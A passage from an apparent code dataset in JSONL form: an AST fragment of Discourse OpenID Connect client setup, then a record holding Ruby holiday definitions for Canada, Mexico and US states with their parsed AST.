",\"children\":[{\"type\":\"sym\",\"children\":[\"code_verifier\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"generate_code_verifier\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code_challenge\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code_verifier\"]}]},{\"type\":\"send\",\"children\":[null,\"generate_code_challenge\",{\"type\":\"lvar\",\"children\":[\"code_verifier\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code_challenge_method\"]},{\"type\":\"str\",\"children\":[\"S256\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"client_options\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"connection_opts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[null,\"request_timeout_seconds\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"client_options\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"connection_build\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"builder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"openid_connect_verbose_logging\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"response\",{\"type\":\"sym\",\"children\":[\"logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bodies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formatter\"]},{\"type\":\"const\",\"children\":[null,\"OIDCFaradayFormatter\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"request\",{\"type\":\"sym\",\"children\":[\"url_encoded\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"adapter\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FinalDestination\"]},\"FaradayAdapter\"]}]}]}]}]}]}]}]}]}]}]}","id":"eb2ef3f2-35cd-4dad-b89d-383fd260b283"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/generated_definitions/northamerica.rb","start_line":13,"raw_source":"def self.holidays_by_month\n {\n 0 => [{:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => -2, :name => \"Good Friday\", :regions => [:ca]},\n {:function => \"easter(year)\", :function_arguments => [:year], :type => :informal, :name => \"Easter Sunday\", :regions => [:ca]},\n {:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => 1, :type => :informal, :name => \"Easter Monday\", :regions => [:ca]},\n {:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => -47, :name => \"Mardi Gras Day\", :regions => [:us_la]},\n {:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => -2, :name => \"Good Friday\", :regions => [:us_ct, :us_de, :us_ga, :us_hi, :us_in, :us_la, :us_ky, :us_nj, :us_nc, :us_nd, :us_pr, :us_tn]}],\n 1 => [{:mday => 1, :observed => \"to_monday_if_weekend(date)\", :observed_arguments => [:date], :name => \"New Year's Day\", :regions => [:ca]},\n {:mday => 2, :name => \"New Year's\", :regions => [:ca_qc]},\n {:mday => 1, :name => \"Año nuevo\", :regions => [:mx]},\n {:mday => 6, :type => :informal, :name => \"Dia de los Santos Reyes\", :regions => [:mx]},\n {:mday => 1, :observed => \"to_weekday_if_weekend(date)\", :observed_arguments => [:date], :name => \"New Year's Day\", :regions => [:us]},\n {:wday => 1, :week => 3, :name => \"Martin Luther King, Jr. Day\", :regions => [:us]}],\n 2 => [{:wday => 1, :week => 3, :year_ranges => { :from => 1990 },:name => \"Family Day\", :regions => [:ca_ab]},\n {:wday => 1, :week => 3, :year_ranges => { :from => 2007 },:name => \"Family Day\", :regions => [:ca_sk]},\n {:wday => 1, :week => 3, :year_ranges => { :from => 2008 },:name => \"Family Day\", :regions => [:ca_on]},\n {:wday => 1, :week => 2, :year_ranges => { :between => 2013..2018 },:name => \"Family Day\", :regions => [:ca_bc]},\n {:wday => 1, :week => 3, :year_ranges => { :from => 2019 },:name => \"Family Day\", :regions => [:ca_bc]},\n {:wday => 1, :week => 3, :year_ranges => { :from => 2018 },:name => \"Family Day\", :regions => [:ca_nb]},\n {:wday => 1, :week => 3, :name => \"Louis Riel Day\", :regions => [:ca_mb]},\n {:wday => 1, :week => 3, :year_ranges => { :from => 2015 },:name => \"Nova Scotia Heritage Day\", :regions => [:ca_ns]},\n {:wday => 1, :week => 3, :name => \"Islander Day\", :regions => [:ca_pe]},\n {:wday => 1, :week => 1, :name => \"Día de la Constitución\", :regions => [:mx]},\n {:mday => 12, :observed => \"to_weekday_if_weekend(date)\", :observed_arguments => [:date], :name => \"Lincoln's Birthday\", :regions => [:us_ct, :us_il]},\n {:wday => 1, :week => 3, :name => \"Presidents' Day\", :regions => [:us]},\n {:mday => 2, :type => :informal, :name => \"Groundhog Day\", :regions => [:us, :ca]},\n {:mday => 14, :type => :informal, :name => \"Valentine's Day\", :regions => [:us, :ca]}],\n 3 => [{:mday => 17, :type => :informal, :name => \"St. Patrick's Day\", :regions => [:ca_nl]},\n {:mday => 23, :type => :informal, :name => \"St. George's Day\", :regions => [:ca_nl]},\n {:wday => 1, :week => 3, :name => \"Natalicio de Benito Juárez\", :regions => [:mx]},\n {:wday => 2, :week => 1, :name => \"Town Meeting Day\", :regions => [:us_vt]},\n {:mday => 26, :observed => \"to_weekday_if_weekend(date)\", :observed_arguments => [:date], :name => \"Prince Jonah Kuhio Kalanianaole Day\", :regions => [:us_hi]},\n {:wday => 1, :week => -1, :name => \"Seward's Day\", :regions => [:us_ak]},\n {:mday => 31, :observed => \"to_weekday_if_weekend(date)\", :observed_arguments => [:date], :name => \"César Chávez Day\", :regions => [:us_ca]},\n {:mday => 17, :type => :informal, :name => \"St. Patrick's Day\", :regions => [:us, :ca]}],\n 5 => [{:function => \"ca_victoria_day(year)\", :function_arguments => [:year], :name => \"Victoria Day\", :regions => [:ca_ab, :ca_bc, :ca_mb, :ca_nt, :ca_nu, :ca_on, :ca_sk, :ca_yt]},\n {:function => \"ca_victoria_day(year)\", :function_arguments => [:year], :name => \"National Patriotes Day\", :regions => [:ca_qc]},\n {:mday => 1, :name => \"Día del Trabajo\", :regions => [:mx]},\n {:mday => 5, :type => :informal, :name => \"Cinco de Mayo\", :regions => [:mx]},\n {:mday => 5, :type => :informal, :name => \"La Batalla de Puebla\", :regions => [:mx_pue]},\n {:mday => 10, :type => :informal, :name => \"Día de la Madre\", :regions => [:mx]},\n {:mday => 15, :type => :informal, :name => \"Día del Maestro\", :regions => [:mx]},\n {:mday => 8, :name => \"Truman Day\", :regions => [:us_mo]},\n {:mday => 10, :observed => \"to_weekday_if_weekend(date)\", :observed_arguments => [:date], :name => \"Confederate Memorial Day\", :regions => [:us_sc]},\n {:wday => 1, :week => -1, :name => \"Memorial Day\", :regions => [:us]},\n {:wday => 0, :week => 2, :type => :informal, :name => \"Mother's Day\", :regions => [:us, :ca]},\n {:wday => 6, :week => 3, :type => :informal, :name => \"Armed Forces Day\", :regions => [:us]}],\n 6 => [{:mday => 24, :type => :informal, :name => \"Discovery Day\", :regions => [:ca_nl]},\n {:mday => 24, :name => \"Fête Nationale\", :regions => [:ca_qc]},\n {:mday => 21, :name => \"National Aboriginal Day\", :regions => [:ca_nt]},\n {:mday => 21, :year_ranges => { :from => 2017 },:name => \"National Aboriginal Day\", :regions => [:ca_yt]},\n {:wday => 0, :week => 3, :type => :informal, :name => \"Día del Padre\", :regions => [:mx]},\n {:wday => 1, :week => 1, :name => \"Jefferson Davis' Birthday\", :regions => [:us_al]},\n {:mday => 11, :observed => \"to_weekday_if_weekend(date)\", :observed_arguments => [:date], :name => \"King Kamehameha I Day\", :regions => [:us_hi]},\n {:mday => 19, :observed => \"to_weekday_if_weekend(date)\", :observed_arguments => [:date], :name => \"Juneteenth\", :regions => [:us]},\n {:mday => 20, :observed => \"to_weekday_if_weekend(date)\", :observed_arguments => [:date], :name => \"West Virginia Day\", :regions => [:us_wv]},\n {:wday => 0, :week => 3, :type => :informal, :name => \"Father's Day\", :regions => [:us, :ca]}],\n 7 => [{:mday => 1, :observed => \"to_monday_if_weekend(date)\", :observed_arguments => [:date], :name => \"Canada Day\", :regions => [:ca]},\n {:mday => 12, :type => :informal, :name => \"Orangemen's Day\", :regions => [:ca_nl]},\n {:mday => 9, :year_ranges => { :from => 2020 },:observed => \"to_monday_if_weekend(date)\", :observed_arguments => [:date], :name => \"Nunavut Day\", :regions => [:ca_nu]},\n {:mday => 4, :function => \"to_weekday_if_weekend(date)\", :function_arguments => [:date], :name => \"Independence Day\", :regions => [:us]},\n {:mday => 24, :name => \"Pioneer Day\", :regions => [:us_ut]}],\n 8 => [{:wday => 1, :week => 1, :name => \"Civic Holiday\", :regions => [:ca_ab, :ca_bc, :ca_mb, :ca_nb, :ca_ns, :ca_nt, :ca_nu, :ca_on, :ca_pe, :ca_sk]},\n {:wday => 1, :week => 3, :name => \"Discovery Day\", :regions => [:ca_yt]},\n {:wday => 1, :week => 2, :name => \"Victory Day\", :regions => [:us_ri]},\n {:mday => 16, :observed => \"to_weekday_if_weekend(date)\", :observed_arguments => [:date], :name => \"Bennington Battle Day\", :regions => [:us_vt]},\n {:wday => 5, :week => 3, :name => \"Statehood Day\", :regions => [:us_hi]}],\n 9 => [{:wday => 1, :week => 1, :name => \"Labour Day\", :regions => [:ca]},\n {:mday => 15, :name => \"Grito de Dolores\", :regions => [:mx]},\n {:mday => 16, :name => \"Día de la Independencia\", :regions => [:mx]},\n {:wday => 1, :week => 1, :name => \"Labor Day\", :regions => [:us]}],\n 10 => [{:wday => 1, :week => 2, :name => \"Thanksgiving\", :regions => [:ca_ab, :ca_bc, :ca_mb, :ca_nt, :ca_nu, :ca_on, :ca_qc, :ca_sk, :ca_yt]},\n {:mday => 12, :type => :informal, :name => \"Día de la Raza\", :regions => [:mx]},\n {:wday => 1, :week => 2, :name => \"Indigenous Peoples Day\", :regions => [:us]},\n {:mday => 18, :observed => \"to_weekday_if_weekend(date)\", :observed_arguments => [:date], :name => \"Alaska Day\", :regions => [:us_ak]},\n {:wday => 5, :week => -1, :observed => \"to_weekday_if_weekend(date)\", :observed_arguments => [:date], :name => \"Nevada Day\", :regions => [:us_nv]},\n {:mday => 31, :type => :informal, :name => \"Halloween\", :regions => [:us, :ca]}],\n 11 => [{:mday => 11, :observed => \"to_monday_if_weekend(date)\", :observed_arguments => [:date], :name => \"Remembrance Day\", :regions => [:ca_ab, :ca_sk, :ca_bc, :ca_pe, :ca_nl, :ca_nt, :ca_nu, :ca_nb, :ca_yt]},\n {:mday => 1, :type => :informal, :name => \"Todos los Santos\", :regions => [:mx]},\n {:mday => 2, :type => :informal, :name => \"Los Fieles Difuntos\", :regions => [:mx]},\n {:wday => 1, :week => 3, :name => \"Día de la Revolución\", :regions => [:mx]},\n {:mday => 11, :observed => \"to_weekday_if_weekend(date)\", :observed_arguments => [:date], :name => \"Veterans Day\", :regions => [:us]},\n {:wday => 4, :week => 4, :name => \"Thanksgiving\", :regions => [:us]},\n {:function => \"day_after_thanksgiving(year)\", :function_arguments => [:year], :name => \"Family Day\", :regions => [:us_nv]},\n {:function => \"day_after_thanksgiving(year)\", :function_arguments => [:year], :name => \"State Holiday\", :regions => [:us_ga]},\n {:function => \"day_after_thanksgiving(year)\", :function_arguments => [:year], :name => \"Presidents' Day\", :regions => [:us_nm]},\n {:function => \"day_after_thanksgiving(year)\", :function_arguments => [:year], :name => \"Lincoln's Birthday\", :regions => [:us_in]},\n {:function => \"day_after_thanksgiving(year)\", :function_arguments => [:year], :name => \"American Indian Heritage Day\", :regions => [:us_md]},\n {:function => \"day_after_thanksgiving(year)\", :function_arguments => [:year], :name => \"Day after Thanksgiving (Black Friday)\", :regions => [:us_ca, :us_de, :us_fl, :us_ga, :us_ia, :us_il, :us_ks, :us_ky, :us_me, :us_mi, :us_mn, :us_ms, :us_ne, :us_nh, :us_nc, :us_ok, :us_or, :us_pa, :us_sc, :us_tn, :us_tx, :us_va, :us_wa, :us_wv]}],\n 12 => [{:mday => 25, :observed => \"to_weekday_if_weekend(date)\", :observed_arguments => [:date], :name => \"Christmas Day\", :regions => [:ca]},\n {:mday => 26, :observed => \"to_weekday_if_boxing_weekend(date)\", :observed_arguments => [:date], :name => \"Boxing Day\", :regions => [:ca]},\n {:mday => 12, :type => :informal, :name => \"Día de la Virgen de Guadalupe\", :regions => [:mx]},\n {:mday => 24, :type => :informal, :name => \"Nochebuena\", :regions => [:mx]},\n {:mday => 25, :name => \"Navidad\", :regions => [:mx]},\n {:mday => 28, :type => :informal, :name => \"Los Santos Inocentes\", :regions => [:mx]},\n {:mday => 24, :name => \"Christmas Eve Day\", :regions => [:us_ar, :us_mi, :us_nc, :us_sc, :us_tx, :us_wi]},\n {:mday => 25, :observed => \"to_weekday_if_weekend(date)\", :observed_arguments => [:date], :name => \"Christmas Day\", :regions => [:us]},\n {:mday => 26, :name => \"Day after Christmas\", :regions => [:us_nc, :us_sc, :us_tx]},\n {:mday => 31, :name => \"New Year's Eve\", :regions => [:us_mi, :us_wi]}],\n 4 => [{:mday => 30, :type => :informal, :name => \"Día del Niño\", :regions => [:mx]},\n {:mday => 16, :observed => \"to_weekday_if_weekend(date)\", :observed_arguments => [:date], :name => \"Emancipation Day\", :regions => [:us_dc]},\n {:wday => 1, :week => 3, :name => \"Patriots' Day\", :regions => [:us_me, :us_ma]},\n {:wday => 1, :week => -1, :name => \"Confederate Memorial Day\", :regions => [:us_al, :us_ms]},\n {:wday => 5, :week => -1, :name => \"Arbor Day\", :regions => [:us_ne]},\n {:mday => 1, :type => :informal, :name => \"April Fool's Day\", :regions => [:us, :ca]},\n {:mday => 22, :type => :informal, :name => \"Earth Day\", :regions => [:us, :ca]}]\n }\n end","complexity_score":35.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"holidays_by_month\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[-2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Good Friday\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Easter Sunday\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Easter Monday\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[-47]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Mardi Gras Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_la\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[-2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Good Friday\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_ct\"]},{\"type\":\"sym\",\"children\":[\"us_de\"]},{\"type\":\"sym\",\"children\":[\"us_ga\"]},{\"type\":\"sym\",\"children\":[\"us_hi\"]},{\"type\":\"sym\",\"children\":[\"us_in\"]},{\"type\":\"sym\",\"children\":[\"us_la\"]},{\"type\":\"sym\",\"children\":[\"us_ky\"]},{\"type\":\"sym\",\"children\":[\"us_nj\"]},{\"type\":\"sym\",\"children\":[\"us_nc\"]},{\"type\":\"sym\",\"children\":[\"us_nd\"]},{\"type\":\"sym\",\"children\":[\"us_pr\"]},{\"type\":\"sym\",\"children\":[\"us_tn\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_monday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"New Year's Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"New Year's\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_qc\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Año nuevo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Dia de los Santos Reyes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_weekday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"New Year's Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Martin Luther King, Jr. Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year_ranges\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"int\",\"children\":[1990]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Family Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_ab\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year_ranges\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"int\",\"children\":[2007]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Family Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_sk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year_ranges\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"int\",\"children\":[2008]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Family Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_on\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year_ranges\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"between\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2013]},{\"type\":\"int\",\"children\":[2018]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Family Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_bc\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year_ranges\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"int\",\"children\":[2019]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Family Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_bc\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year_ranges\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"int\",\"children\":[2018]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Family 